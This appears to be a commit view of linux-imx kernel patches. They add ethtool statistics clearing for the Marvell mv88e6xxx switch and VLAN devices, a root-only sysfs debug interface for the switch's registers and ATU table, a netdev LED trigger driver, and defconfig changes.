int (*get_sset_count)(struct dsa_switch *ds);
+ void (*clear_ethtool_stats)(struct dsa_switch *ds, int port);
/*
* ethtool Wake-on-LAN
Index: drivers/net/dsa/mv88e6xxx/chip.c
===================================================================
--- drivers/net/dsa/mv88e6xxx/chip.c
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.c
@@ -648,6 +648,46 @@ static void mv88e6xxx_get_ethtool_stats(
mutex_unlock(&chip->reg_lock);
}
+static void mv88e6xxx_stats_clear_stats(struct mv88e6xxx_chip *chip, int port)
+{
+ u16 histogram = 0;
+ int err;
+
+ err = mv88e6xxx_g1_read(chip, MV88E6XXX_G1_STATS_OP, &histogram);
+ if (err)
+ return;
+
+ histogram &= 0xC00;
+ /* Clear the statistics counters for given port */
+ err = mv88e6xxx_g1_write(chip, MV88E6XXX_G1_STATS_OP,
+ MV88E6XXX_G1_STATS_OP_BUSY |
+ MV88E6XXX_G1_STATS_OP_FLUSH_PORT |
+ (port +1) << 5 |
+ histogram);
+}
+
+static void mv88e6250_stats_clear_stats(struct mv88e6xxx_chip *chip, int port)
+{
+ mv88e6xxx_stats_clear_stats(chip, port);
+}
+
+static void mv88e6xxx_clear_stats(struct mv88e6xxx_chip *chip, int port)
+{
+ if (chip->info->ops->stats_clear_stats)
+ chip->info->ops->stats_clear_stats(chip, port);
+}
+
+static void mv88e6xxx_clear_ethtool_stats(struct dsa_switch *ds, int port)
+{
+ struct mv88e6xxx_chip *chip = ds->priv;
+
+ mutex_lock(&chip->reg_lock);
+
+ mv88e6xxx_clear_stats(chip, port);
+
+ mutex_unlock(&chip->reg_lock);
+}
+
static int mv88e6xxx_stats_set_histogram(struct mv88e6xxx_chip *chip)
{
if (chip->info->ops->stats_set_histogram)
@@ -2801,6 +2841,7 @@ static const struct mv88e6xxx_ops mv88e6
.stats_get_sset_count = mv88e6250_stats_get_sset_count,
.stats_get_strings = mv88e6250_stats_get_strings,
.stats_get_stats = mv88e6250_stats_get_stats,
+ .stats_clear_stats = mv88e6250_stats_clear_stats,
.set_cpu_port = mv88e6095_g1_set_cpu_port,
.set_egress_port = mv88e6095_g1_set_egress_port,
.watchdog_ops = &mv88e6250_watchdog_ops,
@@ -3837,6 +3878,7 @@ static const struct dsa_switch_ops mv88e
.adjust_link = mv88e6xxx_adjust_link,
.get_strings = mv88e6xxx_get_strings,
.get_ethtool_stats = mv88e6xxx_get_ethtool_stats,
+ .clear_ethtool_stats = mv88e6xxx_clear_ethtool_stats,
.get_sset_count = mv88e6xxx_get_sset_count,
.port_enable = mv88e6xxx_port_enable,
.port_disable = mv88e6xxx_port_disable,
Index: net/8021q/vlan_dev.c
===================================================================
--- net/8021q/vlan_dev.c
+++ linux-imx/net/8021q/vlan_dev.c
@@ -681,6 +681,26 @@ static int vlan_ethtool_get_ts_info(stru
return 0;
}
+static void vlan_clear_ethtool_stats(struct net_device *dev)
+{
+ struct vlan_pcpu_stats *p;
+ unsigned int start;
+ int i;
+
+ memset(&dev->stats, 0, sizeof(struct net_device_stats));
+ for_each_possible_cpu(i) {
+ p = per_cpu_ptr(vlan_dev_priv(dev)->vlan_pcpu_stats, i);
+ do {
+ start = u64_stats_fetch_begin_irq(&p->syncp);
+ p->rx_packets = 0L;
+ p->rx_bytes = 0L;
+ p->rx_multicast = 0L;
+ p->tx_packets = 0L;
+ p->tx_bytes = 0L;
+ } while (u64_stats_fetch_retry_irq(&p->syncp, start));
+ }
+}
+
static void vlan_dev_get_stats64(struct net_device *dev,
struct rtnl_link_stats64 *stats)
{
@@ -771,6 +791,7 @@ static const struct ethtool_ops vlan_eth
.get_drvinfo = vlan_ethtool_get_drvinfo,
.get_link = ethtool_op_get_link,
.get_ts_info = vlan_ethtool_get_ts_info,
+ .clear_ethtool_stats = vlan_clear_ethtool_stats,
};
static const struct net_device_ops vlan_netdev_ops = {

View File

@ -0,0 +1,229 @@
Index: drivers/net/dsa/mv88e6xxx/chip.c
===================================================================
--- drivers/net/dsa/mv88e6xxx/chip.c
+++ linux-imx/drivers/net/dsa/mv88e6xxx/chip.c
@@ -3936,6 +3936,212 @@ static void mv88e6xxx_unregister_switch(
dsa_unregister_switch(chip->ds);
}
+/*
+ * Marvell switch mv88e6xxx sysfs interface
+ */
+static int mv88e6xxx_port;
+static u16 mv88e6xxx_reg;
+static ssize_t sysfs_reg_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return scnprintf(buf, PAGE_SIZE, "0x%x", mv88e6xxx_reg);
+}
+
+static ssize_t sysfs_reg_store(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ if (kstrtou16(buf, 0, &mv88e6xxx_reg)) {
+ dev_err(dev, "Invalid reg\n");
+ return -EINVAL;
+ }
+ return (ssize_t)count;
+}
+
+static ssize_t sysfs_port_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return scnprintf(buf, PAGE_SIZE, "0x%x", mv88e6xxx_port);
+}
+
+static ssize_t sysfs_port_store(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ if (kstrtoint(buf, 0, &mv88e6xxx_port)) {
+ dev_err(dev, "Invalid port \n");
+ return -EINVAL;
+ }
+ return (ssize_t)count;
+}
+
+/*
+ * Read the specified register of a specified port
+ */
+static ssize_t sysfs_port_reg_val_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ u16 reg;
+ int err;
+
+ mutex_lock(&chip->reg_lock);
+ err = mv88e6xxx_port_read(chip, mv88e6xxx_port, mv88e6xxx_reg, &reg);
+ mutex_unlock(&chip->reg_lock);
+
+ if (err) {
+ dev_err(dev, "Port %d register %x failed\n", mv88e6xxx_port, mv88e6xxx_reg);
+ return -EIO;
+ }
+
+ return scnprintf(buf, PAGE_SIZE, "0x%x\n", reg);
+}
+
+/*
+ * Purge the switch ATU cache
+ */
+static ssize_t sysfs_atu_flush(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ int err;
+
+ mutex_lock(&chip->reg_lock);
+ err = mv88e6xxx_g1_atu_flush(chip, 0, true);
+ mutex_unlock(&chip->reg_lock);
+
+ if (err) {
+ dev_err(dev, "ATU flush failed\n");
+ return -EIO;
+ }
+
+ return (ssize_t)count;
+}
+
+/*
+ * Returns the ATU cache content
+ */
+static ssize_t sysfs_atu_dump(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ struct mv88e6xxx_atu_entry addr;
+ u16 fid = 0;
+ ssize_t n = 0;
+ int err;
+
+ addr.state = MV88E6XXX_G1_ATU_DATA_STATE_UNUSED;
+ eth_broadcast_addr(addr.mac);
+
+ n += scnprintf(buf + n, PAGE_SIZE - n,
+ "\nATU List:\n");
+
+ mutex_lock(&chip->reg_lock);
+ while (1) {
+ err = mv88e6xxx_g1_atu_getnext(chip, fid, &addr);
+ if (err)
+ break;
+
+ if (addr.state == MV88E6XXX_G1_ATU_DATA_STATE_UNUSED)
+ break;
+ n += scnprintf(buf + n, PAGE_SIZE - n,
+ "(%02x:%02x:%02x:%02x:%02x:%02x), PortVec %#x, State %#x\n",
+ addr.mac[0], addr.mac[1], addr.mac[2],
+ addr.mac[3], addr.mac[4], addr.mac[5],
+ addr.portvec,
+ addr.state);
+ }
+ mutex_unlock(&chip->reg_lock);
+ n += scnprintf(buf + n, PAGE_SIZE - n,"\n");
+ if (err)
+ return 0;
+ else
+ return n;
+}
+
+static ssize_t sysfs_atu_uc_static_entry_store(struct device *dev,
+ struct device_attribute *attr,
+ const char *buf, size_t count)
+{
+ struct dsa_switch *ds = (struct dsa_switch *)dev_get_drvdata(dev);
+ struct mv88e6xxx_chip *chip = ds->priv;
+ const char *name = attr->attr.name;
+ struct mv88e6xxx_atu_entry entry;
+ u8 mac[ETH_ALEN];
+ u8 state;
+ int values[ETH_ALEN], dpv;
+ int i, err;
+
+ if(7 != sscanf(buf, "%x:%x:%x:%x:%x:%x %x%*c",
+ &values[0], &values[1], &values[2],
+ &values[3], &values[4], &values[5],
+ &dpv)) {
+ dev_err(dev, "Invalid input %s\n", buf);
+ return -EINVAL;
+ }
+
+ for (i = 0; i<ETH_ALEN; i++) {
+ if (values[i] < 0 || values[i] > 255) {
+ dev_err(dev, "Invalid mac %s\n", buf);
+ return -EINVAL;
+ }
+ mac[i] = (u8)values[i];
+ }
+
+ if (!strcmp(name, "atu_uc_static_entry_add"))
+ state = MV88E6XXX_G1_ATU_DATA_STATE_UC_STATIC;
+ else
+ state = MV88E6XXX_G1_ATU_DATA_STATE_UNUSED;
+
+ memset(&entry, 0, sizeof(entry));
+ ether_addr_copy(entry.mac, mac);
+ entry.portvec = dpv;
+ entry.state = state;
+
+ mutex_lock(&chip->reg_lock);
+ err = mv88e6xxx_g1_atu_loadpurge(chip, 0, &entry);
+ mutex_unlock(&chip->reg_lock);
+
+ if (err) {
+ dev_err(dev, "Load static entry failed\n");
+ return -EIO;
+ }
+
+ return (ssize_t)count;
+}
+
+static DEVICE_ATTR(reg, S_IWUSR | S_IRUSR,
+ sysfs_reg_show, sysfs_reg_store);
+static DEVICE_ATTR(port, S_IWUSR | S_IRUSR,
+ sysfs_port_show, sysfs_port_store);
+static DEVICE_ATTR(port_reg_val, S_IWUSR | S_IRUSR,
+ sysfs_port_reg_val_show, NULL);
+static DEVICE_ATTR(atu, S_IWUSR | S_IRUSR,
+ sysfs_atu_dump, sysfs_atu_flush);
+static DEVICE_ATTR(atu_uc_static_entry_add, S_IWUSR | S_IRUSR,
+ NULL, sysfs_atu_uc_static_entry_store);
+static DEVICE_ATTR(atu_uc_static_entry_del, S_IWUSR | S_IRUSR,
+ NULL, sysfs_atu_uc_static_entry_store);
+
+static struct attribute *mv88e6xxx_sysfs_entries[] = {
+ &dev_attr_reg.attr,
+ &dev_attr_port.attr,
+ &dev_attr_port_reg_val.attr,
+ &dev_attr_atu.attr,
+ &dev_attr_atu_uc_static_entry_add.attr,
+ &dev_attr_atu_uc_static_entry_del.attr,
+ NULL
+};
+
+static struct attribute_group mv88e6xxx_attribute_group = {
+ .name = "config",
+ .attrs = mv88e6xxx_sysfs_entries,
+};
+
static int mv88e6xxx_probe(struct mdio_device *mdiodev)
{
struct device *dev = &mdiodev->dev;
@@ -4013,6 +4219,11 @@ static int mv88e6xxx_probe(struct mdio_d
if (err)
goto out_mdio;
+ /* register sysfs files */
+ err = sysfs_create_group(&dev->kobj, &mv88e6xxx_attribute_group);
+ if (err)
+ dev_err(chip->dev, "sysfs_create_group failed\n");
+
return 0;
out_mdio:

View File

@ -0,0 +1,527 @@
Index: drivers/leds/trigger/Kconfig
===================================================================
--- drivers/leds/trigger/Kconfig
+++ linux-imx/drivers/leds/trigger/Kconfig
@@ -126,4 +126,11 @@ config LEDS_TRIGGER_PANIC
a different trigger.
If unsure, say Y.
+config LEDS_TRIGGER_NETDEV
+ tristate "LED Netdev Trigger"
+ depends on NET
+ help
+ This allows LEDs to be controlled by network device activity.
+ If unsure, say Y.
+
endif # LEDS_TRIGGERS
Index: drivers/leds/trigger/Makefile
===================================================================
--- drivers/leds/trigger/Makefile
+++ linux-imx/drivers/leds/trigger/Makefile
@@ -11,3 +11,4 @@ obj-$(CONFIG_LEDS_TRIGGER_DEFAULT_ON) +=
obj-$(CONFIG_LEDS_TRIGGER_TRANSIENT) += ledtrig-transient.o
obj-$(CONFIG_LEDS_TRIGGER_CAMERA) += ledtrig-camera.o
obj-$(CONFIG_LEDS_TRIGGER_PANIC) += ledtrig-panic.o
+obj-$(CONFIG_LEDS_TRIGGER_NETDEV) += ledtrig-netdev.o
Index: drivers/leds/trigger/ledtrig-netdev.c
===================================================================
--- /dev/null
+++ linux-imx/drivers/leds/trigger/ledtrig-netdev.c
@@ -0,0 +1,497 @@
+// SPDX-License-Identifier: GPL-2.0
+// Copyright 2017 Ben Whitten <ben.whitten@gmail.com>
+// Copyright 2007 Oliver Jowett <oliver@opencloud.com>
+//
+// LED Kernel Netdev Trigger
+//
+// Toggles the LED to reflect the link and traffic state of a named net device
+//
+// Derived from ledtrig-timer.c which is:
+// Copyright 2005-2006 Openedhand Ltd.
+// Author: Richard Purdie <rpurdie@openedhand.com>
+
+#include <linux/atomic.h>
+#include <linux/ctype.h>
+#include <linux/device.h>
+#include <linux/init.h>
+#include <linux/jiffies.h>
+#include <linux/kernel.h>
+#include <linux/leds.h>
+#include <linux/list.h>
+#include <linux/module.h>
+#include <linux/netdevice.h>
+#include <linux/spinlock.h>
+#include <linux/timer.h>
+#include "../leds.h"
+
+/*
+ * Configurable sysfs attributes:
+ *
+ * device_name - network device name to monitor
+ * interval - duration of LED blink, in milliseconds
+ * link - LED's normal state reflects whether the link is up
+ * (has carrier) or not
+ * tx - LED blinks on transmitted data
+ * rx - LED blinks on receive data
+ *
+ */
+
+struct led_netdev_data {
+ spinlock_t lock;
+
+ struct delayed_work work;
+ struct notifier_block notifier;
+
+ struct led_classdev *led_cdev;
+ struct net_device *net_dev;
+
+ char device_name[IFNAMSIZ];
+ atomic_t interval;
+ unsigned int last_activity;
+
+ unsigned long mode;
+#define NETDEV_LED_LINK 0
+#define NETDEV_LED_TX 1
+#define NETDEV_LED_RX 2
+#define NETDEV_LED_MODE_LINKUP 3
+};
+
+enum netdev_led_attr {
+ NETDEV_ATTR_LINK,
+ NETDEV_ATTR_TX,
+ NETDEV_ATTR_RX
+};
+
+static void set_baseline_state(struct led_netdev_data *trigger_data)
+{
+ int current_brightness;
+ struct led_classdev *led_cdev = trigger_data->led_cdev;
+
+ current_brightness = led_cdev->brightness;
+ if (current_brightness)
+ led_cdev->blink_brightness = current_brightness;
+ if (!led_cdev->blink_brightness)
+ led_cdev->blink_brightness = led_cdev->max_brightness;
+
+ if (!test_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode))
+ led_set_brightness(led_cdev, LED_OFF);
+ else {
+ if (test_bit(NETDEV_LED_LINK, &trigger_data->mode))
+ led_set_brightness(led_cdev,
+ led_cdev->blink_brightness);
+ else
+ led_set_brightness(led_cdev, LED_OFF);
+
+ /* If we are looking for RX/TX start periodically
+ * checking stats
+ */
+ if (test_bit(NETDEV_LED_TX, &trigger_data->mode) ||
+ test_bit(NETDEV_LED_RX, &trigger_data->mode))
+ schedule_delayed_work(&trigger_data->work, 0);
+ }
+}
+
+static ssize_t device_name_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ ssize_t len;
+
+ spin_lock_bh(&trigger_data->lock);
+ len = sprintf(buf, "%s\n", trigger_data->device_name);
+ spin_unlock_bh(&trigger_data->lock);
+
+ return len;
+}
+
+static ssize_t device_name_store(struct device *dev,
+ struct device_attribute *attr, const char *buf,
+ size_t size)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+
+ if (size >= IFNAMSIZ)
+ return -EINVAL;
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ spin_lock_bh(&trigger_data->lock);
+
+ if (trigger_data->net_dev) {
+ dev_put(trigger_data->net_dev);
+ trigger_data->net_dev = NULL;
+ }
+
+ memcpy(trigger_data->device_name, buf, size);
+ trigger_data->device_name[size] = 0;
+ if (size > 0 && trigger_data->device_name[size - 1] == '\n')
+ trigger_data->device_name[size - 1] = 0;
+
+ if (trigger_data->device_name[0] != 0)
+ trigger_data->net_dev =
+ dev_get_by_name(&init_net, trigger_data->device_name);
+
+ clear_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+ if (trigger_data->net_dev != NULL)
+ if (netif_carrier_ok(trigger_data->net_dev))
+ set_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+
+ trigger_data->last_activity = 0;
+
+ set_baseline_state(trigger_data);
+ spin_unlock_bh(&trigger_data->lock);
+
+ return size;
+}
+
+static DEVICE_ATTR_RW(device_name);
+
+static ssize_t netdev_led_attr_show(struct device *dev, char *buf,
+ enum netdev_led_attr attr)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ int bit;
+
+ switch (attr) {
+ case NETDEV_ATTR_LINK:
+ bit = NETDEV_LED_LINK;
+ break;
+ case NETDEV_ATTR_TX:
+ bit = NETDEV_LED_TX;
+ break;
+ case NETDEV_ATTR_RX:
+ bit = NETDEV_LED_RX;
+ break;
+ default:
+ return -EINVAL;
+ }
+
+ return sprintf(buf, "%u\n", test_bit(bit, &trigger_data->mode));
+}
+
+static ssize_t netdev_led_attr_store(struct device *dev, const char *buf,
+ size_t size, enum netdev_led_attr attr)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ unsigned long state;
+ int ret;
+ int bit;
+
+ ret = kstrtoul(buf, 0, &state);
+ if (ret)
+ return ret;
+
+ switch (attr) {
+ case NETDEV_ATTR_LINK:
+ bit = NETDEV_LED_LINK;
+ break;
+ case NETDEV_ATTR_TX:
+ bit = NETDEV_LED_TX;
+ break;
+ case NETDEV_ATTR_RX:
+ bit = NETDEV_LED_RX;
+ break;
+ default:
+ return -EINVAL;
+ }
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ if (state)
+ set_bit(bit, &trigger_data->mode);
+ else
+ clear_bit(bit, &trigger_data->mode);
+
+ set_baseline_state(trigger_data);
+
+ return size;
+}
+
+static ssize_t link_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_LINK);
+}
+
+static ssize_t link_store(struct device *dev,
+ struct device_attribute *attr, const char *buf, size_t size)
+{
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_LINK);
+}
+
+static DEVICE_ATTR_RW(link);
+
+static ssize_t tx_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_TX);
+}
+
+static ssize_t tx_store(struct device *dev,
+ struct device_attribute *attr, const char *buf, size_t size)
+{
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_TX);
+}
+
+static DEVICE_ATTR_RW(tx);
+
+static ssize_t rx_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ return netdev_led_attr_show(dev, buf, NETDEV_ATTR_RX);
+}
+
+static ssize_t rx_store(struct device *dev,
+ struct device_attribute *attr, const char *buf, size_t size)
+{
+ return netdev_led_attr_store(dev, buf, size, NETDEV_ATTR_RX);
+}
+
+static DEVICE_ATTR_RW(rx);
+
+static ssize_t interval_show(struct device *dev,
+ struct device_attribute *attr, char *buf)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+
+ return sprintf(buf, "%u\n",
+ jiffies_to_msecs(atomic_read(&trigger_data->interval)));
+}
+
+static ssize_t interval_store(struct device *dev,
+ struct device_attribute *attr, const char *buf,
+ size_t size)
+{
+ struct led_classdev *led_cdev = dev_get_drvdata(dev);
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+ unsigned long value;
+ int ret;
+
+ ret = kstrtoul(buf, 0, &value);
+ if (ret)
+ return ret;
+
+ /* impose some basic bounds on the timer interval */
+ if (value >= 5 && value <= 10000) {
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ atomic_set(&trigger_data->interval, msecs_to_jiffies(value));
+ set_baseline_state(trigger_data); /* resets timer */
+ }
+
+ return size;
+}
+
+static DEVICE_ATTR_RW(interval);
+
+static int netdev_trig_notify(struct notifier_block *nb,
+ unsigned long evt, void *dv)
+{
+ struct net_device *dev =
+ netdev_notifier_info_to_dev((struct netdev_notifier_info *)dv);
+ struct led_netdev_data *trigger_data = container_of(nb,
+ struct
+ led_netdev_data,
+ notifier);
+
+ if (evt != NETDEV_UP && evt != NETDEV_DOWN && evt != NETDEV_CHANGE
+ && evt != NETDEV_REGISTER && evt != NETDEV_UNREGISTER
+ && evt != NETDEV_CHANGENAME)
+ return NOTIFY_DONE;
+
+ if (!(dev == trigger_data->net_dev ||
+ (evt == NETDEV_CHANGENAME && !strcmp(dev->name, trigger_data->device_name)) ||
+ (evt == NETDEV_REGISTER && !strcmp(dev->name, trigger_data->device_name))))
+ return NOTIFY_DONE;
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ spin_lock_bh(&trigger_data->lock);
+
+ clear_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+ switch (evt) {
+ case NETDEV_CHANGENAME:
+ case NETDEV_REGISTER:
+ if (trigger_data->net_dev)
+ dev_put(trigger_data->net_dev);
+ dev_hold(dev);
+ trigger_data->net_dev = dev;
+ break;
+ case NETDEV_UNREGISTER:
+ dev_put(trigger_data->net_dev);
+ trigger_data->net_dev = NULL;
+ break;
+ case NETDEV_UP:
+ case NETDEV_CHANGE:
+ if (netif_carrier_ok(dev))
+ set_bit(NETDEV_LED_MODE_LINKUP, &trigger_data->mode);
+ break;
+ }
+
+ set_baseline_state(trigger_data);
+
+ spin_unlock_bh(&trigger_data->lock);
+
+ return NOTIFY_DONE;
+}
+
+/* here's the real work! */
+static void netdev_trig_work(struct work_struct *work)
+{
+ struct led_netdev_data *trigger_data = container_of(work,
+ struct
+ led_netdev_data,
+ work.work);
+ struct rtnl_link_stats64 *dev_stats;
+ unsigned int new_activity;
+ struct rtnl_link_stats64 temp;
+ unsigned long interval;
+ int invert;
+
+ /* If we dont have a device, insure we are off */
+ if (!trigger_data->net_dev) {
+ led_set_brightness(trigger_data->led_cdev, LED_OFF);
+ return;
+ }
+
+ /* If we are not looking for RX/TX then return */
+ if (!test_bit(NETDEV_LED_TX, &trigger_data->mode) &&
+ !test_bit(NETDEV_LED_RX, &trigger_data->mode))
+ return;
+
+ dev_stats = dev_get_stats(trigger_data->net_dev, &temp);
+ new_activity =
+ (test_bit(NETDEV_LED_TX, &trigger_data->mode) ?
+ dev_stats->tx_packets : 0) +
+ (test_bit(NETDEV_LED_RX, &trigger_data->mode) ?
+ dev_stats->rx_packets : 0);
+
+ if (trigger_data->last_activity != new_activity) {
+ led_stop_software_blink(trigger_data->led_cdev);
+
+ invert = test_bit(NETDEV_LED_LINK, &trigger_data->mode);
+ interval = jiffies_to_msecs(
+ atomic_read(&trigger_data->interval));
+ /* base state is ON (link present) */
+ led_blink_set_oneshot(trigger_data->led_cdev,
+ &interval,
+ &interval,
+ invert);
+ trigger_data->last_activity = new_activity;
+ }
+
+ schedule_delayed_work(&trigger_data->work,
+ (atomic_read(&trigger_data->interval)*2));
+}
+
+static void netdev_trig_activate(struct led_classdev *led_cdev)
+{
+ struct led_netdev_data *trigger_data;
+ int rc;
+
+ trigger_data = kzalloc(sizeof(struct led_netdev_data), GFP_KERNEL);
+ if (!trigger_data)
+ return;
+
+ spin_lock_init(&trigger_data->lock);
+
+ trigger_data->notifier.notifier_call = netdev_trig_notify;
+ trigger_data->notifier.priority = 10;
+
+ INIT_DELAYED_WORK(&trigger_data->work, netdev_trig_work);
+
+ trigger_data->led_cdev = led_cdev;
+ trigger_data->net_dev = NULL;
+ trigger_data->device_name[0] = 0;
+
+ trigger_data->mode = 0;
+ atomic_set(&trigger_data->interval, msecs_to_jiffies(50));
+ trigger_data->last_activity = 0;
+
+ led_cdev->trigger_data = trigger_data;
+
+ rc = device_create_file(led_cdev->dev, &dev_attr_device_name);
+ if (rc)
+ goto err_out;
+ rc = device_create_file(led_cdev->dev, &dev_attr_link);
+ if (rc)
+ goto err_out_device_name;
+ rc = device_create_file(led_cdev->dev, &dev_attr_rx);
+ if (rc)
+ goto err_out_link;
+ rc = device_create_file(led_cdev->dev, &dev_attr_tx);
+ if (rc)
+ goto err_out_rx;
+ rc = device_create_file(led_cdev->dev, &dev_attr_interval);
+ if (rc)
+ goto err_out_tx;
+ rc = register_netdevice_notifier(&trigger_data->notifier);
+ if (rc)
+ goto err_out_interval;
+ return;
+
+err_out_interval:
+ device_remove_file(led_cdev->dev, &dev_attr_interval);
+err_out_tx:
+ device_remove_file(led_cdev->dev, &dev_attr_tx);
+err_out_rx:
+ device_remove_file(led_cdev->dev, &dev_attr_rx);
+err_out_link:
+ device_remove_file(led_cdev->dev, &dev_attr_link);
+err_out_device_name:
+ device_remove_file(led_cdev->dev, &dev_attr_device_name);
+err_out:
+ led_cdev->trigger_data = NULL;
+ kfree(trigger_data);
+}
+
+static void netdev_trig_deactivate(struct led_classdev *led_cdev)
+{
+ struct led_netdev_data *trigger_data = led_cdev->trigger_data;
+
+ if (trigger_data) {
+ unregister_netdevice_notifier(&trigger_data->notifier);
+
+ device_remove_file(led_cdev->dev, &dev_attr_device_name);
+ device_remove_file(led_cdev->dev, &dev_attr_link);
+ device_remove_file(led_cdev->dev, &dev_attr_rx);
+ device_remove_file(led_cdev->dev, &dev_attr_tx);
+ device_remove_file(led_cdev->dev, &dev_attr_interval);
+
+ cancel_delayed_work_sync(&trigger_data->work);
+
+ if (trigger_data->net_dev)
+ dev_put(trigger_data->net_dev);
+
+ kfree(trigger_data);
+ }
+}
+
+static struct led_trigger netdev_led_trigger = {
+ .name = "netdev",
+ .activate = netdev_trig_activate,
+ .deactivate = netdev_trig_deactivate,
+};
+
+static int __init netdev_trig_init(void)
+{
+ return led_trigger_register(&netdev_led_trigger);
+}
+
+static void __exit netdev_trig_exit(void)
+{
+ led_trigger_unregister(&netdev_led_trigger);
+}
+
+module_init(netdev_trig_init);
+module_exit(netdev_trig_exit);
+
+MODULE_AUTHOR("Ben Whitten <ben.whitten@gmail.com>");
+MODULE_AUTHOR("Oliver Jowett <oliver@opencloud.com>");
+MODULE_DESCRIPTION("Netdev LED trigger");
+MODULE_LICENSE("GPL v2");

View File

@ -158,6 +158,8 @@ CONFIG_IP6_NF_NAT=m
CONFIG_IP6_NF_TARGET_MASQUERADE=m CONFIG_IP6_NF_TARGET_MASQUERADE=m
CONFIG_BRIDGE=m CONFIG_BRIDGE=m
CONFIG_BRIDGE_VLAN_FILTERING=y CONFIG_BRIDGE_VLAN_FILTERING=y
CONFIG_NET_DSA=y
CONFIG_NET_DSA_SLAVE_MAC=y
CONFIG_VLAN_8021Q=m CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y CONFIG_VLAN_8021Q_GVRP=y
CONFIG_VLAN_8021Q_MVRP=y CONFIG_VLAN_8021Q_MVRP=y
@ -210,6 +212,7 @@ CONFIG_MAC80211_MESH_SYNC_DEBUG=y
CONFIG_MAC80211_MESH_CSA_DEBUG=y CONFIG_MAC80211_MESH_CSA_DEBUG=y
CONFIG_MAC80211_MESH_PS_DEBUG=y CONFIG_MAC80211_MESH_PS_DEBUG=y
CONFIG_MAC80211_TDLS_DEBUG=y CONFIG_MAC80211_TDLS_DEBUG=y
CONFIG_RFKILL=y
CONFIG_NET_9P=y CONFIG_NET_9P=y
CONFIG_NET_9P_VIRTIO=y CONFIG_NET_9P_VIRTIO=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug" CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
@ -269,6 +272,7 @@ CONFIG_VXLAN=m
CONFIG_TUN=y CONFIG_TUN=y
CONFIG_VETH=m CONFIG_VETH=m
CONFIG_VIRTIO_NET=y CONFIG_VIRTIO_NET=y
CONFIG_NET_DSA_MV88E6XXX=m
CONFIG_AMD_XGBE=y CONFIG_AMD_XGBE=y
CONFIG_NET_XGENE=y CONFIG_NET_XGENE=y
CONFIG_MACB=y CONFIG_MACB=y
@ -290,7 +294,6 @@ CONFIG_AT803X_PHY=y
CONFIG_MARVELL_PHY=m CONFIG_MARVELL_PHY=m
CONFIG_MESON_GXL_PHY=m CONFIG_MESON_GXL_PHY=m
CONFIG_MICREL_PHY=y CONFIG_MICREL_PHY=y
CONFIG_NXP_TJA110X_PHY=y
CONFIG_REALTEK_PHY=m CONFIG_REALTEK_PHY=m
CONFIG_ROCKCHIP_PHY=y CONFIG_ROCKCHIP_PHY=y
CONFIG_PPP=y CONFIG_PPP=y
@ -314,7 +317,6 @@ CONFIG_USB_NET_QMI_WWAN=m
CONFIG_BRCMFMAC=m CONFIG_BRCMFMAC=m
CONFIG_BRCMFMAC_PCIE=y CONFIG_BRCMFMAC_PCIE=y
CONFIG_HOSTAP=y CONFIG_HOSTAP=y
CONFIG_RFKILL=y
CONFIG_RTL_CARDS=m CONFIG_RTL_CARDS=m
# CONFIG_WLAN_VENDOR_TI is not set # CONFIG_WLAN_VENDOR_TI is not set
CONFIG_XEN_NETDEV_BACKEND=m CONFIG_XEN_NETDEV_BACKEND=m
@ -618,7 +620,6 @@ CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_OPTION=y CONFIG_USB_SERIAL_OPTION=y
CONFIG_USB_TEST=m CONFIG_USB_TEST=m
CONFIG_USB_EHSET_TEST_FIXTURE=y CONFIG_USB_EHSET_TEST_FIXTURE=y
CONFIG_USB_HUB_USB251XB=y
CONFIG_USB_HSIC_USB3503=y CONFIG_USB_HSIC_USB3503=y
CONFIG_NOP_USB_XCEIV=y CONFIG_NOP_USB_XCEIV=y
CONFIG_USB_GPIO_VBUS=y CONFIG_USB_GPIO_VBUS=y
@ -687,6 +688,7 @@ CONFIG_LEDS_SYSCON=y
